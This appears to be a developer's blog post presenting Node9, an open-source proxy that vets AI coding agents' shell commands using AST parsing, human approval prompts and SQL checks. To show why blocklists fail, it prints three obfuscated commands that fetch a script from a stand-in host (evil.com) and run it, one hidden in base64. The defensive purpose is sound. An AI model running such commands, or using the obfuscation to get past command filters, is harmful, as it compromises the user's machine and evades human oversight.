Letting an autonomous AI agent run wild in your terminal is the ultimate productivity hack - until it isn't.
A few weeks ago, I was using Claude Code to clean up an old project. I casually prompted: "Hey, my disk is full, can you help me clean up some space?"
Within seconds, the agent proposed:
docker system prune -af --volumes
If I hadn't been staring at the screen, years of local development databases, cached images, and stopped containers would have vanished. The AI wasn't malicious; it was just being efficiently literal.
That near miss made me realize something: semantic security - scanning prompts for intent - is broken for agentic AI. We are giving hallucination-prone models rwx root access to our local environments without a seatbelt.
I built Node9 to solve this. It's an open-source execution proxy that sits between any AI agent and your shell. In this post, I'll dive into the architectural decision that was harder than it looks: the AST-based parser that defeats obfuscation, and why the verdict has to be computed before the string is ever decoded. At the end, what we learned from building and then removing an undo engine.
The Problem: AI is More Creative Than Your Regex
The first instinct when securing an agent is a blocklist. If the agent types rm -rf or DROP TABLE, block it. It seems reasonable - until you realize that AI models are exceptionally good at rephrasing.
Consider three ways an AI can bypass a regex that looks for curl | bash:
# 1. Alternative tool, same outcome
wget -qO- https://evil.com/script.sh | sh
# 2. Variable injection
c="cu"; r="rl"; $c$r http://evil.com | zsh
# 3. Base64 encoding
echo "Y3VybCBodHRwOi8vZXZpbC5jb20vc2NyaXB0LnNoIHwgYmFzaA==" | base64 -d | bash
A skeptical reader might ask: "If the Base64 payload is encoded, how does a parser read it?" The answer is that Node9 doesn't need to decode it. While the AST parser won't see the hidden string inside the encoded payload, it clearly identifies that a base64-decoded stream is being piped directly into a shell interpreter (| bash). Node9's policy engine flags this pattern - unvalidated stream execution - and blocks it before the string is ever decoded.
A regex engine looks at strings. An operating system executes a grammar. To stop this, Node9 uses AST (Abstract Syntax Tree) parsing to understand the command the same way the shell does.
Solution 1: AST Parsing for Shell Execution
Instead of looking for forbidden words, Node9 intercepts the tool call and decomposes the shell command into its logical execution tree using mvdan-sh, the Go shell parser compiled to WebAssembly. Even if the AI hides the command inside a variable, a subshell, or a pipe chain, the AST resolves the actual execution path.
Here is the shape of the analysis (the real implementation lives in packages/policy-engine/src/policy/index.ts and walks the parsed tree):
interface AstNode {
type: string;
Args?: { Parts?: { Value?: string }[] }[];
[key: string]: unknown;
}
async function analyzeShellCommand(
command: string
): Promise<{ actions: string[]; paths: string[]; allTokens: string[] }> {
const actions: string[] = [];
const paths: string[] = [];
const allTokens: string[] = [];
const ast = parseShell(command); // mvdan-sh parses the full shell grammar
const walk = (node: AstNode | null) => {
if (!node) return;
if (node.type === 'CallExpr') {
// Reconstruct the actual token by joining all Parts
// This resolves variable expansions and quoted strings
const parts = (node.Args || [])
.map((arg) => (arg.Parts || []).map((p) => p.Value || '').join(''))
.filter((s) => s.length > 0);
if (parts.length > 0) {
actions.push(parts[0].toLowerCase()); // The executable: curl, rm, wget...
parts.slice(1).forEach((p) => {
if (!p.startsWith('-')) paths.push(p); // Target files/URLs
});
}
}
// Recursively walk all child nodes - catches nested pipes, subshells, redirects
for (const key in node) {
if (key === 'Parent') continue;
const val = node[key];
if (Array.isArray(val)) {
val.forEach((child) => {
if (child && typeof child === 'object' && 'type' in child) walk(child as AstNode);
});
} else if (val && typeof val === 'object' && 'type' in val) {
walk(val as AstNode);
}
}
};
walk(ast as unknown as AstNode);
return { actions, paths, allTokens };
}
By the time Node9 finishes walking the tree, it doesn't matter how the AI wrote the command. It extracts the Action (the executable) and the Target (the paths or URLs), then evaluates them against a deterministic policy waterfall, regardless of obfuscation.
If the AST parser fails on a malformed command, Node9 falls back to a conservative tokenizer that splits on pipes, semicolons, and subshell operators. You never get a silent pass-through.
The 100ms Race for a Human Signature
The biggest usability problem for any approval system is Verification Fatigue. If the agent asks for permission on every ls and grep, developers stop reading and start spamming Y. When that happens, security is theater.
There are two pieces to the workaround:
1. Auto-allow safe noise. Read-only tool calls (ls, grep, cat, Read, Glob) are allowed instantly with zero interruption. No popup, no prompt.
2. Multi-Channel Race Engine for destructive calls. When a genuinely dangerous action is detected, Node9 fires three concurrent approval requests:
- Native OS popup - a sub-second dialog (Mac, Windows, Linux) for instant keyboard approval when you're at your desk
- Slack - the request hits your phone if you've stepped away
- Terminal - a traditional
[Y/n]prompt for SSH sessions
The first human response wins and unlocks execution. The others are cancelled.
This allows you to walk away from a 20-step autonomous refactor, get coffee, and only be interrupted when something genuinely risky needs your signature.
What happened to the undo engine
The first version of this post had a second half: a shadow Git repository that took a silent snapshot before every AI file edit, so node9 undo could revert anything the agent broke. The dangling-commit trick worked. The retention policy did not. A snapshot of every edit is cheap on day one and enormous by month three; on one machine the store reached 378 GB. The feature was removed, and node9 undo --purge cleans up what it left behind.
The lesson generalises. Prevention has to be cheap enough to always be on. A gate that parses the command before it runs costs a few milliseconds and nothing on disk; a safety net that copies the world costs the world. node9 now spends its effort on the gate, and on the credential jail that blocks a read of ~/.ssh or ~/.aws before it happens rather than reverting it after.
MCP Servers Are Covered Too
Node9 wires into agents through a pre-execution hook where one exists (Claude Code, Codex, Copilot CLI, Gemini CLI, Antigravity, Hermes), a plugin for OpenCode and Pi, and the MCP boundary for Cursor, Windsurf, VS Code and Claude Desktop. But it also secures MCP servers (Model Context Protocol) - the new standard Anthropic is pushing for connecting AI to external tools like Postgres, GitHub, and Google Drive.
When you configure a Postgres MCP server, the agent's pre-tool hook (PreToolUse on Claude Code, BeforeTool on Gemini CLI) intercepts every tool call - including SQL queries sent through the MCP server - before they execute. Node9 has specific SQL analysis built in:
export function checkDangerousSql(sql: string): string | null {
const norm = sql.replace(/\s+/g, ' ').trim().toLowerCase();
const hasWhere = /\bwhere\b/.test(norm);
if (/^delete\s+from\s+\S+/.test(norm) && !hasWhere)
return 'DELETE without WHERE - full table wipe';
if (/^update\s+\S+\s+set\s+/.test(norm) && !hasWhere)
return 'UPDATE without WHERE - updates every row';
return null;
}
Yes, that is a regex, in a post about why regex is not enough. The distinction: regex is fine once you already know the argument is SQL. It fails when the job is deciding what a string is, and that is the job the AST does first.
A DELETE FROM users with no WHERE clause triggers a review popup. A DELETE FROM users WHERE id = 42 passes through. Same principle as the shell parser: policy based on structure, not string matching.
Governed Autonomy, Not a Cage
Building Node9 taught me that the future of local AI tooling isn't about locking agents in isolated VMs where they become useless. It's about Governed Autonomy: you provide the strategy and the final "Yes," the AI provides the speed.
When Node9 blocks an action, it doesn't just crash the agent. It injects a structured message back into the LLM's context:
"SECURITY ALERT: Action blocked by user policy. Reason: Force push is destructive. Pivot to a non-destructive alternative."
The agent reads this, adjusts, and tries a safer approach. The session continues. That's the difference between a firewall and a Sudo layer.
Node9 is 100% open source (Apache-2.0). I'm actively looking for developers to red-team the AST parser. What's the most dangerous command you've seen an agent attempt - and can you construct a shell command that bypasses the inspection logic?
Try it on your own history without installing anything (reads the JSONL session files Claude / Codex / Gemini / Cursor already write to disk, ~10 seconds, fully local):
npx node9-ai scan
Or install for live protection:
# macOS / Linux
brew tap node9-ai/node9 && brew install node9
# or via npm (any platform)
npm install -g node9-ai
node9 init
GitHub: github.com/node9-ai/node9-proxy